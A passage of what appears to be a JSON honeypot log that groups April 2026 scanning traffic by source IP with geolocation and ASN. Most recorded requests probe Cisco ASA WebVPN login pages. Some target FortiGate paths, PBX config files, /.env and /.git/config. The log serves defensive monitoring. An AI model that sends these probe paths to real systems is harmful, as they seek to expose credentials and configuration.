        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "185.220.101.145": {
      "attack_count": 10,
      "first_seen": "2026-04-24T09:05:22.231Z",
      "last_seen": "2026-04-24T09:13:35.478Z",
      "ports": [],
      "event_types": [
        "\"GET /css/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /digium_phones/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /elastixConnection/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /framework/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /help/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /images/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /include/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /js/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /k12/config.all.php? HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit"
    },
    "35.216.144.195": {
      "attack_count": 10,
      "first_seen": "2026-04-06T20:19:55.909Z",
      "last_seen": "2026-04-06T20:20:06.215Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /.env HTTP/1.1\" 404 -",
        "\"GET /.git/config HTTP/1.1\" 404 -",
        "\"GET /config.json HTTP/1.1\" 404 -",
        "\"GET /info.php HTTP/1.1\" 404 -",
        "\"GET /server-status HTTP/1.1\" 404 -",
        "\"GET /telescope/requests HTTP/1.1\" 404 -",
        "\"HELP\" 400 -",
        "code 400"
      ],
      "usernames_attempted": [],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Zurich",
      "asn": 15169,
      "as_org": "Google LLC"
    },
    "143.244.47.71": {
      "attack_count": 9,
      "first_seen": "2026-04-11T04:52:10.304Z",
      "last_seen": "2026-04-15T11:34:39.280Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "184.105.139.69": {
      "attack_count": 9,
      "first_seen": "2026-04-11T10:03:25.642Z",
      "last_seen": "2026-04-11T10:09:07.811Z",
      "ports": [],
      "event_types": [
        "\"GET /remote/logincheck HTTP/1.1\" 404 -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
        "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
        "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
        "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
        "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "23.234.105.45": {
      "attack_count": 9,
      "first_seen": "2026-04-13T12:57:19.321Z",
      "last_seen": "2026-04-29T17:21:37.248Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.112.175": {
      "attack_count": 9,
      "first_seen": "2026-04-23T13:27:59.310Z",
      "last_seen": "2026-04-24T21:12:58.027Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.90.100": {
      "attack_count": 9,
      "first_seen": "2026-04-15T01:08:31.043Z",
      "last_seen": "2026-04-22T01:46:48.704Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "104.164.164.95": {
      "attack_count": 7,
      "first_seen": "2026-04-14T01:59:37.938Z",
      "last_seen": "2026-04-14T01:59:54.501Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "156.229.255.203": {
      "attack_count": 7,
      "first_seen": "2026-04-13T11:35:31.091Z",
      "last_seen": "2026-04-13T11:35:45.939Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "95.214.83.13": {
      "attack_count": 7,
      "first_seen": "2026-04-02T20:01:14.579Z",
      "last_seen": "2026-04-02T20:01:46.102Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Philadelphia",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "103.81.231.49": {
      "attack_count": 6,
      "first_seen": "2026-04-21T08:17:26.532Z",
      "last_seen": "2026-04-27T21:38:17.744Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "143.244.47.68": {
      "attack_count": 6,
      "first_seen": "2026-04-21T17:48:51.200Z",
      "last_seen": "2026-04-24T21:15:55.320Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "146.70.166.211": {
      "attack_count": 6,
      "first_seen": "2026-04-18T13:34:10.638Z",
      "last_seen": "2026-04-24T13:49:20.801Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "146.70.187.83": {
      "attack_count": 6,
      "first_seen": "2026-04-11T10:36:40.063Z",
      "last_seen": "2026-04-21T00:46:00.824Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "173.249.253.231": {
      "attack_count": 6,
      "first_seen": "2026-04-13T12:21:00.023Z",
      "last_seen": "2026-04-27T15:07:52.401Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "185.156.46.160": {
      "attack_count": 6,
      "first_seen": "2026-04-23T16:14:25.102Z",
      "last_seen": "2026-04-26T03:03:58.848Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "23.234.116.106": {
      "attack_count": 6,
      "first_seen": "2026-04-13T08:03:43.581Z",
      "last_seen": "2026-04-21T07:44:50.412Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.97.197": {
      "attack_count": 6,
      "first_seen": "2026-04-13T08:33:30.793Z",
      "last_seen": "2026-04-13T08:48:09.609Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "5.252.190.151": {
      "attack_count": 6,
      "first_seen": "2026-04-02T20:01:07.410Z",
      "last_seen": "2026-04-02T20:01:40.590Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "66.132.186.162": {
      "attack_count": 6,
      "first_seen": "2026-04-13T02:50:27.857Z",
      "last_seen": "2026-04-13T02:52:42.311Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "23.234.104.92": {
      "attack_count": 4,
      "first_seen": "2026-04-10T09:30:34.859Z",
      "last_seen": "2026-04-10T10:04:41.452Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"POST /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "52.206.189.10": {
      "attack_count": 4,
      "first_seen": "2026-04-05T00:59:27.242Z",
      "last_seen": "2026-04-22T01:02:32.361Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "64.62.156.154": {
      "attack_count": 4,
      "first_seen": "2026-04-04T10:12:47.900Z",
      "last_seen": "2026-04-04T10:15:32.926Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "142.147.89.215": {
      "attack_count": 3,
      "first_seen": "2026-04-18T21:34:24.447Z",
      "last_seen": "2026-04-18T21:34:32.035Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 6233,
      "as_org": "xTom"
    },
    "185.213.193.188": {
      "attack_count": 3,
      "first_seen": "2026-04-27T21:35:52.502Z",
      "last_seen": "2026-04-27T21:36:02.743Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 21859,
      "as_org": "Zenlayer Inc"
    },
    "23.160.24.188": {
      "attack_count": 3,
      "first_seen": "2026-04-25T14:45:53.393Z",
      "last_seen": "2026-04-25T14:45:59.513Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 30671,
      "as_org": "Data Bridge Limited"
    },
    "23.162.40.100": {
      "attack_count": 3,
      "first_seen": "2026-04-13T12:03:10.204Z",
      "last_seen": "2026-04-13T12:03:18.720Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 400882,
      "as_org": "Cyber Data LLC"
    },
    "23.234.102.106": {
      "attack_count": 3,
      "first_seen": "2026-04-10T15:52:29.488Z",
      "last_seen": "2026-04-10T15:52:37.605Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.105.185": {
      "attack_count": 3,
      "first_seen": "2026-04-21T21:15:46.437Z",
      "last_seen": "2026-04-21T21:15:55.939Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.108.188": {
      "attack_count": 3,
      "first_seen": "2026-04-18T20:53:03.499Z",
      "last_seen": "2026-04-18T20:53:09.884Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.110.106": {
      "attack_count": 3,
      "first_seen": "2026-04-11T01:22:32.683Z",
      "last_seen": "2026-04-11T01:22:40.611Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "65.49.20.116": {
      "attack_count": 3,
      "first_seen": "2026-04-06T02:51:49.752Z",
      "last_seen": "2026-04-06T02:52:06.144Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "104.152.52.110": {
      "attack_count": 2,
      "first_seen": "2026-04-25T00:37:20.287Z",
      "last_seen": "2026-04-25T00:37:20.952Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC"
    },
    "107.172.153.123": {
      "attack_count": 2,
      "first_seen": "2026-04-04T14:56:21.051Z",
      "last_seen": "2026-04-04T14:56:22.083Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"POST / HTTP/1.1\" 302 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa"
    },
    "134.122.78.241": {
      "attack_count": 2,
      "first_seen": "2026-04-16T05:28:24.943Z",
      "last_seen": "2026-04-16T05:28:27.945Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14061,
      "as_org": "DigitalOcean, LLC"
    },
    "138.197.118.33": {
      "attack_count": 2,
      "first_seen": "2026-04-27T19:36:58.711Z",
      "last_seen": "2026-04-27T19:37:01.714Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC"
    },
    "142.93.7.213": {
      "attack_count": 2,
      "first_seen": "2026-04-06T20:03:55.151Z",
      "last_seen": "2026-04-06T20:03:58.154Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC"
    },
    "172.86.113.60": {
      "attack_count": 2,
      "first_seen": "2026-04-05T19:02:16.780Z",
      "last_seen": "2026-04-05T19:02:19.782Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 14956,
      "as_org": "RouterHosting LLC"
    },
    "192.76.153.253": {
      "attack_count": 2,
      "first_seen": "2026-04-24T09:05:18.176Z",
      "last_seen": "2026-04-24T09:05:34.089Z",
      "ports": [],
      "event_types": [],
      "usernames_attempted": [],
      "country": "Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 60404,
      "as_org": "The Infrastructure Group B.V."
    },
    "198.235.24.99": {
      "attack_count": 2,
      "first_seen": "2026-04-06T19:15:29.103Z",
      "last_seen": "2026-04-06T19:15:32.105Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "205.210.31.197": {
      "attack_count": 2,
      "first_seen": "2026-04-11T02:34:15.576Z",
      "last_seen": "2026-04-11T02:34:18.580Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "45.156.128.45": {
      "attack_count": 2,
      "first_seen": "2026-04-02T06:33:47.153Z",
      "last_seen": "2026-04-02T06:33:50.156Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A."
    },
    "45.156.129.187": {
      "attack_count": 2,
      "first_seen": "2026-04-02T16:55:41.862Z",
      "last_seen": "2026-04-02T16:55:44.865Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A."
    },
    "5.230.75.53": {
      "attack_count": 2,
      "first_seen": "2026-04-06T00:02:58.355Z",
      "last_seen": "2026-04-06T00:03:01.357Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 12586,
      "as_org": "GHOSTnet GmbH"
    },
    "85.239.147.7": {
      "attack_count": 2,
      "first_seen": "2026-04-10T08:22:11.660Z",
      "last_seen": "2026-04-10T08:22:13.064Z",
      "ports": [],
      "event_types": [
        "\"GET /login?redir= HTTP/1.0\" 404 -",
        "\"GET /remote/login HTTP/1.0\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 213474,
      "as_org": "HomeLine Broadband LLC"
    },
    "104.244.77.208": {
      "attack_count": 1,
      "first_seen": "2026-04-24T09:15:38.646Z",
      "last_seen": "2026-04-24T09:15:38.646Z",
      "ports": [],
      "event_types": [
        "\"GET /digium_phones/config.all.php?x HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Switzerland",
      "country_code": "CH",
      "city": null,
      "asn": 53667,
      "as_org": "FranTech Solutions"
    },
    "162.243.201.227": {
      "attack_count": 1,
      "first_seen": "2026-04-06T10:29:41.583Z",
      "last_seen": "2026-04-06T10:29:41.583Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Secaucus",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC"
    },
    "185.247.137.189": {
      "attack_count": 1,
      "first_seen": "2026-04-18T05:58:16.086Z",
      "last_seen": "2026-04-18T05:58:16.086Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Manchester",
      "asn": 211298,
      "as_org": "Driftnet Ltd"
    },
    "64.62.197.113": {
      "attack_count": 1,
      "first_seen": "2026-04-08T07:51:41.420Z",
      "last_seen": "2026-04-08T07:51:41.420Z",
      "ports": [],
      "event_types": [
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.197.188": {
      "attack_count": 1,
      "first_seen": "2026-04-22T03:16:52.771Z",
      "last_seen": "2026-04-22T03:16:52.771Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.197.192": {
      "attack_count": 1,
      "first_seen": "2026-04-22T03:15:24.930Z",
      "last_seen": "2026-04-22T03:15:24.930Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "8.211.163.45": {
      "attack_count": 1,
      "first_seen": "2026-04-08T21:07:40.840Z",
      "last_seen": "2026-04-08T21:07:40.840Z",
      "ports": [],
      "event_types": [
        "\"GET /ui HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd."
    },
    "209.182.225.147": {
      "attack_count": 470,
      "first_seen": "2026-04-10T17:21:46.936Z",
      "last_seen": "2026-04-27T21:23:23.000Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 395092,
      "as_org": "Shock Hosting LLC"
    },
    "80.66.66.211": {
      "attack_count": 240,
      "first_seen": "2026-04-03T09:03:38.822Z",
      "last_seen": "2026-04-06T01:25:53.896Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 209702,
      "as_org": "Soldatov Alexey Valerevich"
    },
    "43.132.207.18": {
      "attack_count": 52,
      "first_seen": "2026-04-01T17:12:54.513Z",
      "last_seen": "2026-04-29T20:30:29.644Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/common.js HTTP/1.1\" 404 -",
        "\"GET /+CSCOE+/home/index.html HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/login.html HTTP/1.1\" 404 -",
        "\"GET /+CSCOE+/logout.html HTTP/1.1\" 404 -",
        "\"GET /+CSCOE+/save_capture.html HTTP/1.1\" 404 -",
